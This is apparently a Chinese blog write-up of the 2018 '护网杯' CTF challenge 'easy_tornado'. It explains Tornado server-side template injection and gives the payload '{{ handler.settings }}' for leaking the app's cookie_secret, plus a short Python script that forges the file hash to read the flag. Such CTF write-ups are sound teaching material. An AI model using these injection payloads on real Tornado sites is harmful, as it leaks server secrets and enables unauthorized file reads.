[护网杯 2018]easy_tornado

tornado模板注入

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

在tornado模板中,存在一些可以访问的快速对象,例如:

<title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

在Tornado的auth.py

从第360行起有

  request_cookie = handler.get_cookie("_oauth_request_token")
    if not request_cookie:
        raise AuthError("Missing OAuth request token cookie")
    handler.clear_cookie("_oauth_request_token")
    cookie_key, cookie_secret = [
        base64.b64decode(escape.utf8(i)) for i in request_cookie.split("|")
    ]
    if cookie_key != request_key:
        raise AuthError("Request token does not match cookie")
    token = dict(
        key=cookie_key, secret=cookie_secret
    )  # type: Dict[str, Union[str, bytes]]

关键在这个handler

查一下handler的属性,发现了settings

def _oauth_consumer_token(self) -> Dict[str, Any]:
    handler = cast(RequestHandler, self)
    handler.require_setting("twitter_consumer_key", "Twitter OAuth")
    handler.require_setting("twitter_consumer_secret", "Twitter OAuth")
    return dict(
        key=handler.settings["twitter_consumer_key"],
        secret=handler.settings["twitter_consumer_secret"],
    )

看到题目给到了如下一些信息

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

url形如 :http://35848a5d-982a-45c9-a772-1b59e317746f.node3.buuoj.cn/file?filename=/flag.txt&filehash=32c8987c242bb2c5f0b0da175550dab6

根据提示应该payload应该是file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename)),因此现在需要找到cookie_secret

将filename替换为/fllllllllllllag 后发现报错,修改/error?msg=Error错误信息中的msg页面也跟着变

在这里插入图片描述

根据render提示应该是模板注入,但存在过滤,ORZ

在这里插入图片描述

这里用到的是handler.setting对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings

传递error?msg={{ handler.settings }}得到:
在这里插入图片描述

得到secret后,就是计算访问flag文件的hash,获取flag

import hashlib

filename = '/fllllllllllllag'
cookie_secret = '22fd2739-48f9-4346-a61a-800901929cbc'
file_md5 = hashlib.md5(filename).hexdigest()
print file_md5
print hashlib.md5(cookie_secret+file_md5).hexdigest()

解出hash值,
在这里插入图片描述

在这里插入图片描述

得到flag{f64bfa36-9e57-4653-90d8-e4757daf7216}

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值